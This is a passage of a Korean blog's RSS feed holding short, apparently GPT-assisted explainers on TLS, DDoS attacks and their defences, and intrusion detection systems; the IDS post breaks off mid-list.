      <comments>https://toastfactory.tistory.com/365#entry365comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:18:09 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] TLS란?</title>
      <link>https://toastfactory.tistory.com/364</link>
      <description>&lt;h1 data-end=&quot;82&quot; data-start=&quot;69&quot;&gt;  1. TLS란?&lt;/h1&gt;
&lt;p data-end=&quot;147&quot; data-start=&quot;84&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;TLS는 &lt;b&gt;인터넷에서 데이터 전송 시 기밀성&amp;middot;무결성&amp;middot;인증을 제공하는 보안 프로토콜&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;153&quot; data-start=&quot;149&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;200&quot; data-start=&quot;155&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;웹 브라우저와 서버 간 데이터를 안전하게 암호화해서 주고받도록 하는 기술&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;289&quot; data-start=&quot;202&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;257&quot; data-start=&quot;202&quot;&gt;이전에는 SSL(Secure Sockets Layer)이라고 불렸음 &amp;rarr; 현재는 TLS로 대체&lt;/li&gt;
&lt;li data-end=&quot;289&quot; data-start=&quot;258&quot;&gt;HTTPS, 이메일, VPN 등 다양한 통신에서 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;294&quot; data-start=&quot;291&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;313&quot; data-start=&quot;296&quot;&gt;  2. TLS 핵심 기능&lt;/h1&gt;
&lt;p data-end=&quot;349&quot; data-start=&quot;315&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;데이터 암호화(Confidentiality)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;383&quot; data-start=&quot;350&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;383&quot; data-start=&quot;350&quot;&gt;전송되는 데이터를 암호화 &amp;rarr; 외부에서 내용을 볼 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;413&quot; data-start=&quot;385&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;데이터 무결성(Integrity)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;477&quot; data-start=&quot;414&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;435&quot; data-start=&quot;414&quot;&gt;전송 중 데이터 변조 여부 확인&lt;/li&gt;
&lt;li data-end=&quot;477&quot; data-start=&quot;436&quot;&gt;해시, MAC(Message Authentication Code) 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;507&quot; data-start=&quot;479&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;인증(Authentication)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;567&quot; data-start=&quot;508&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;532&quot; data-start=&quot;508&quot;&gt;서버 인증, 필요 시 클라이언트 인증&lt;/li&gt;
&lt;li data-end=&quot;567&quot; data-start=&quot;533&quot;&gt;인증서(X.509) 기반 &amp;rarr; 신뢰할 수 있는 서버인지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;572&quot; data-start=&quot;569&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;603&quot; data-start=&quot;574&quot;&gt;  3. TLS 동작 과정 (Handshake)&lt;/h1&gt;
&lt;p data-end=&quot;626&quot; data-start=&quot;605&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;클라이언트 Hello&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;666&quot; data-start=&quot;627&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;666&quot; data-start=&quot;627&quot;&gt;클라이언트가 지원하는 TLS 버전, 암호화 알고리즘, 랜덤 값 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;686&quot; data-start=&quot;668&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;서버 Hello&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;710&quot; data-start=&quot;687&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;710&quot; data-start=&quot;687&quot;&gt;서버가 암호화 방식 선택, 인증서 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;731&quot; data-start=&quot;712&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;인증 및 키 교환&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;779&quot; data-start=&quot;732&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;745&quot; data-start=&quot;732&quot;&gt;서버 인증서 확인&lt;/li&gt;
&lt;li data-end=&quot;779&quot; data-start=&quot;746&quot;&gt;세션 키(Session Key) 생성 &amp;rarr; 대칭키 암호화용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;800&quot; data-start=&quot;781&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;암호화 통신 시작&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;826&quot; data-start=&quot;801&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;826&quot; data-start=&quot;801&quot;&gt;세션 키로 데이터 암호화 후 안전하게 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;831&quot; data-start=&quot;828&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;850&quot; data-start=&quot;833&quot;&gt;  4. TLS 사용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;961&quot; data-start=&quot;852&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;895&quot; data-start=&quot;852&quot;&gt;&lt;b&gt;HTTPS 웹사이트&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;895&quot; data-start=&quot;873&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;895&quot; data-start=&quot;873&quot;&gt;브라우저와 서버 간 안전한 웹 트래픽&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;931&quot; data-start=&quot;896&quot;&gt;&lt;b&gt;이메일 전송(SMTPS, IMAPS, POP3S)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;946&quot; data-start=&quot;932&quot;&gt;&lt;b&gt;VPN 연결&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;961&quot; data-start=&quot;947&quot;&gt;&lt;b&gt;API 통신&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;966&quot; data-start=&quot;963&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;982&quot; data-start=&quot;968&quot;&gt;  5. TLS 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1076&quot; data-start=&quot;984&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1008&quot; data-start=&quot;984&quot;&gt;통신 내용 노출 방지 &amp;rarr; 스니핑 예방&lt;/li&gt;
&lt;li data-end=&quot;1028&quot; data-start=&quot;1009&quot;&gt;중간자 공격(MITM) 방지&lt;/li&gt;
&lt;li data-end=&quot;1051&quot; data-start=&quot;1029&quot;&gt;데이터 변조 감지 &amp;rarr; 무결성 보장&lt;/li&gt;
&lt;li data-end=&quot;1076&quot; data-start=&quot;1052&quot;&gt;서버 인증 &amp;rarr; 피싱/위조 사이트 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1081&quot; data-start=&quot;1078&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1097&quot; data-start=&quot;1083&quot;&gt;  6. TLS 버전&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;버전특징
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1294&quot; data-start=&quot;1099&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1294&quot; data-start=&quot;1127&quot;&gt;
&lt;tr data-end=&quot;1166&quot; data-start=&quot;1127&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1141&quot; data-start=&quot;1127&quot;&gt;SSL 2.0/3.0&lt;/td&gt;
&lt;td data-end=&quot;1166&quot; data-start=&quot;1141&quot; data-col-size=&quot;sm&quot;&gt;오래된 버전, 취약점 존재, 사용 금지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1210&quot; data-start=&quot;1167&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1183&quot; data-start=&quot;1167&quot;&gt;TLS 1.0 / 1.1&lt;/td&gt;
&lt;td data-end=&quot;1210&quot; data-start=&quot;1183&quot; data-col-size=&quot;sm&quot;&gt;취약점 존재, 현대 환경에서는 사용 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1244&quot; data-start=&quot;1211&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1221&quot; data-start=&quot;1211&quot;&gt;TLS 1.2&lt;/td&gt;
&lt;td data-end=&quot;1244&quot; data-start=&quot;1221&quot; data-col-size=&quot;sm&quot;&gt;대다수 서버/클라이언트 지원, 안전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1294&quot; data-start=&quot;1245&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1255&quot; data-start=&quot;1245&quot;&gt;TLS 1.3&lt;/td&gt;
&lt;td data-end=&quot;1294&quot; data-start=&quot;1255&quot; data-col-size=&quot;sm&quot;&gt;최신 표준, 성능 개선 + 보안 강화, 비대칭키 핸드쉐이크 단축&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1299&quot; data-start=&quot;1296&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1313&quot; data-start=&quot;1301&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1397&quot; data-start=&quot;1314&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;TLS = 인터넷에서 데이터를 안전하게 전송하기 위해 암호화&amp;middot;무결성&amp;middot;인증을 제공하는 보안 프로토콜로, HTTPS와 VPN 등에서 사용된다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/364</guid>
      <comments>https://toastfactory.tistory.com/364#entry364comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:17:30 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] DDoS란?</title>
      <link>https://toastfactory.tistory.com/363</link>
      <description>&lt;h1 data-end=&quot;93&quot; data-start=&quot;79&quot;&gt;  1. DDoS란?&lt;/h1&gt;
&lt;p data-end=&quot;184&quot; data-start=&quot;95&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;DDoS는 &lt;b&gt;여러 대의 공격자가 동시에 특정 서버, 서비스, 네트워크에 대량 트래픽을 보내 정상적인 서비스 제공을 방해하는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;188&quot; data-start=&quot;186&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;247&quot; data-start=&quot;190&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;많은 컴퓨터를 동원해 서버를 과부하 시켜, 정상 사용자가 서비스를 이용하지 못하게 만드는 공격&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;342&quot; data-start=&quot;249&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;292&quot; data-start=&quot;249&quot;&gt;단순 DoS(서비스 거부 공격)와 달리 &lt;b&gt;여러 위치에서 동시 공격&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;342&quot; data-start=&quot;293&quot;&gt;기업, 금융, 쇼핑몰, 게임 서버 등 &lt;b&gt;인터넷 서비스가 중요한 곳&lt;/b&gt;에서 주요 위협&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;347&quot; data-start=&quot;344&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;368&quot; data-start=&quot;349&quot;&gt;  2. DDoS vs DoS&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분DoSDDoS
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;541&quot; data-start=&quot;370&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;541&quot; data-start=&quot;410&quot;&gt;
&lt;tr data-end=&quot;441&quot; data-start=&quot;410&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;416&quot; data-start=&quot;410&quot;&gt;공격자&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;425&quot; data-start=&quot;416&quot;&gt;1대 컴퓨터&lt;/td&gt;
&lt;td data-end=&quot;441&quot; data-start=&quot;425&quot; data-col-size=&quot;sm&quot;&gt;여러 대 컴퓨터(봇넷)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;481&quot; data-start=&quot;442&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;451&quot; data-start=&quot;442&quot;&gt;트래픽 규모&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;462&quot; data-start=&quot;451&quot;&gt;상대적으로 작음&lt;/td&gt;
&lt;td data-end=&quot;481&quot; data-start=&quot;462&quot; data-col-size=&quot;sm&quot;&gt;매우 큼, 글로벌 공격 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;515&quot; data-start=&quot;482&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;487&quot; data-start=&quot;482&quot;&gt;탐지&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;498&quot; data-start=&quot;487&quot;&gt;상대적으로 쉬움&lt;/td&gt;
&lt;td data-end=&quot;515&quot; data-start=&quot;498&quot; data-col-size=&quot;sm&quot;&gt;탐지 어려움, IP 분산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;541&quot; data-start=&quot;516&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;521&quot; data-start=&quot;516&quot;&gt;피해&lt;/td&gt;
&lt;td data-end=&quot;527&quot; data-start=&quot;521&quot; data-col-size=&quot;sm&quot;&gt;제한적&lt;/td&gt;
&lt;td data-end=&quot;541&quot; data-start=&quot;527&quot; data-col-size=&quot;sm&quot;&gt;심각한 서비스 중단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;546&quot; data-start=&quot;543&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;566&quot; data-start=&quot;548&quot;&gt;  3. DDoS 공격 방식&lt;/h1&gt;
&lt;p data-end=&quot;608&quot; data-start=&quot;568&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;트래픽 과부하 공격 (Volumetric Attack)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;677&quot; data-start=&quot;609&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;631&quot; data-start=&quot;609&quot;&gt;대량 패킷으로 네트워크 용량 소모&lt;/li&gt;
&lt;li data-end=&quot;677&quot; data-start=&quot;632&quot;&gt;예: UDP Flood, ICMP Flood, DNS Amplification&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;730&quot; data-start=&quot;679&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;서비스 자원 고갈 공격 (Resource Exhaustion Attack)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;786&quot; data-start=&quot;731&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;755&quot; data-start=&quot;731&quot;&gt;서버 CPU, 메모리, 연결 수 고갈&lt;/li&gt;
&lt;li data-end=&quot;786&quot; data-start=&quot;756&quot;&gt;예: HTTP GET Flood, Slowloris&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;823&quot; data-start=&quot;788&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;프로토콜 공격 (Protocol Attack)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;876&quot; data-start=&quot;824&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;846&quot; data-start=&quot;824&quot;&gt;TCP/IP 프로토콜 취약점 악용&lt;/li&gt;
&lt;li data-end=&quot;876&quot; data-start=&quot;847&quot;&gt;예: SYN Flood, Ping of Death&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;881&quot; data-start=&quot;878&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;899&quot; data-start=&quot;883&quot;&gt;  4. 공격 발생 원인&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;991&quot; data-start=&quot;901&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;929&quot; data-start=&quot;901&quot;&gt;정치적/사회적 목적(해킹 단체, 해커 그룹)&lt;/li&gt;
&lt;li data-end=&quot;940&quot; data-start=&quot;930&quot;&gt;경쟁사 공격&lt;/li&gt;
&lt;li data-end=&quot;964&quot; data-start=&quot;941&quot;&gt;금전적 목적(랜섬 DDoS, 협박)&lt;/li&gt;
&lt;li data-end=&quot;991&quot; data-start=&quot;965&quot;&gt;봇넷 악용(악성코드 감염 컴퓨터 대량 동원)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;996&quot; data-start=&quot;993&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1013&quot; data-start=&quot;998&quot;&gt;  5. DDoS 피해&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1093&quot; data-start=&quot;1015&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1038&quot; data-start=&quot;1015&quot;&gt;웹사이트/서비스 다운 &amp;rarr; 매출 손실&lt;/li&gt;
&lt;li data-end=&quot;1065&quot; data-start=&quot;1039&quot;&gt;서버/네트워크 과부하 &amp;rarr; 장비 손상 가능&lt;/li&gt;
&lt;li data-end=&quot;1079&quot; data-start=&quot;1066&quot;&gt;고객 신뢰도 하락&lt;/li&gt;
&lt;li data-end=&quot;1093&quot; data-start=&quot;1080&quot;&gt;보안 대응 비용 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1098&quot; data-start=&quot;1095&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1118&quot; data-start=&quot;1100&quot;&gt;  6. DDoS 방어 방법&lt;/h1&gt;
&lt;p data-end=&quot;1148&quot; data-start=&quot;1120&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;방화벽 / IPS / WAF 적용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1172&quot; data-start=&quot;1149&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1172&quot; data-start=&quot;1149&quot;&gt;공격 패턴 차단, 비정상 트래픽 필터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1207&quot; data-start=&quot;1174&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;트래픽 필터링 / Rate Limiting&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1231&quot; data-start=&quot;1208&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1231&quot; data-start=&quot;1208&quot;&gt;초당 요청 수 제한, 비정상 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1265&quot; data-start=&quot;1233&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;CDN / 클라우드 DDoS 방어 서비스&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1322&quot; data-start=&quot;1266&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1302&quot; data-start=&quot;1266&quot;&gt;Akamai, Cloudflare, AWS Shield 등&lt;/li&gt;
&lt;li data-end=&quot;1322&quot; data-start=&quot;1303&quot;&gt;글로벌 분산 서버로 트래픽 흡수&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1348&quot; data-start=&quot;1324&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;네트워크 분산 / 스케일링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1368&quot; data-start=&quot;1349&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1368&quot; data-start=&quot;1349&quot;&gt;서버 부하 분산 &amp;rarr; 서비스 지속&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1389&quot; data-start=&quot;1370&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;모니터링 및 알람&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1410&quot; data-start=&quot;1390&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1410&quot; data-start=&quot;1390&quot;&gt;비정상 트래픽 즉시 탐지 &amp;rarr; 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1415&quot; data-start=&quot;1412&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1429&quot; data-start=&quot;1417&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1529&quot; data-start=&quot;1430&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DDoS = 여러 컴퓨터에서 동시에 대량 트래픽을 보내 서버나 서비스를 마비시키는 공격으로, 방화벽, IPS, WAF, CDN, 트래픽 모니터링 등으로 방어해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/363</guid>
      <comments>https://toastfactory.tistory.com/363#entry363comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:16:46 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] IDS란?</title>
      <link>https://toastfactory.tistory.com/362</link>
      <description>&lt;h1 data-end=&quot;85&quot; data-start=&quot;72&quot;&gt;  1. IDS란?&lt;/h1&gt;
&lt;p data-end=&quot;169&quot; data-start=&quot;87&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;IDS는 &lt;b&gt;네트워크나 시스템에서 발생하는 트래픽과 이벤트를 분석해 침입이나 공격 시도를 탐지하는 장치 또는 소프트웨어&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;175&quot; data-start=&quot;171&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;221&quot; data-start=&quot;177&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;실시간으로 공격을 &lt;b&gt;탐지&lt;/b&gt;하지만, 스스로 차단하지는 않는 보안 장치&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;298&quot; data-start=&quot;223&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;270&quot; data-start=&quot;223&quot;&gt;IDS는 알람/로그를 통해 보안 담당자에게 공격을 알려주는 &lt;b&gt;감시자 역할&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;298&quot; data-start=&quot;271&quot;&gt;IPS와 비교하면 &lt;b&gt;자동 차단 기능 없음&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;303&quot; data-start=&quot;300&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;326&quot; data-start=&quot;305&quot;&gt;  2. IDS vs IPS 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분IDSIPS
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;504&quot; data-start=&quot;328&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;504&quot; data-start=&quot;368&quot;&gt;
&lt;tr data-end=&quot;403&quot; data-start=&quot;368&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;373&quot; data-start=&quot;368&quot;&gt;역할&lt;/td&gt;
&lt;td data-end=&quot;386&quot; data-start=&quot;373&quot; data-col-size=&quot;sm&quot;&gt;공격 탐지 및 알람&lt;/td&gt;
&lt;td data-end=&quot;403&quot; data-start=&quot;386&quot; data-col-size=&quot;sm&quot;&gt;공격 탐지 + 자동 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;446&quot; data-start=&quot;404&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;413&quot; data-start=&quot;404&quot;&gt;트래픽 위치&lt;/td&gt;
&lt;td data-end=&quot;425&quot; data-start=&quot;413&quot; data-col-size=&quot;sm&quot;&gt;패킷 미러링 방식&lt;/td&gt;
&lt;td data-end=&quot;446&quot; data-start=&quot;425&quot; data-col-size=&quot;sm&quot;&gt;트래픽 경로 상에서 실시간 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;475&quot; data-start=&quot;447&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;452&quot; data-start=&quot;447&quot;&gt;대응&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;463&quot; data-start=&quot;452&quot;&gt;수동 대응 필요&lt;/td&gt;
&lt;td data-end=&quot;475&quot; data-start=&quot;463&quot; data-col-size=&quot;sm&quot;&gt;자동 차단 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;504&quot; data-start=&quot;476&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;481&quot; data-start=&quot;476&quot;&gt;목적&lt;/td&gt;
&lt;td data-end=&quot;493&quot; data-start=&quot;481&quot; data-col-size=&quot;sm&quot;&gt;모니터링 &amp;amp; 분석&lt;/td&gt;
&lt;td data-end=&quot;504&quot; data-start=&quot;493&quot; data-col-size=&quot;sm&quot;&gt;예방 및 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;509&quot; data-start=&quot;506&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;528&quot; data-start=&quot;511&quot;&gt;  3. IDS 동작 방식&lt;/h1&gt;
&lt;p data-end=&quot;546&quot; data-start=&quot;530&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;트래픽 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;574&quot; data-start=&quot;547&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;574&quot; data-start=&quot;547&quot;&gt;네트워크 패킷, 호스트 이벤트, 로그 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;592&quot; data-start=&quot;576&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;공격 탐지 방식&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;744&quot; data-start=&quot;593&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;639&quot; data-start=&quot;593&quot;&gt;&lt;b&gt;시그니처 기반(Signature-based)&lt;/b&gt;: 알려진 공격 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;688&quot; data-start=&quot;640&quot;&gt;&lt;b&gt;이상행위 기반(Anomaly-based)&lt;/b&gt;: 정상 트래픽과 다른 행동 감지&lt;/li&gt;
&lt;li data-end=&quot;744&quot; data-start=&quot;689&quot;&gt;&lt;b&gt;상태 기반(Stateful Protocol Analysis)&lt;/b&gt;: 프로토콜 비정상 여부 확인&lt;/li&gt;
&lt;/ul&gt;
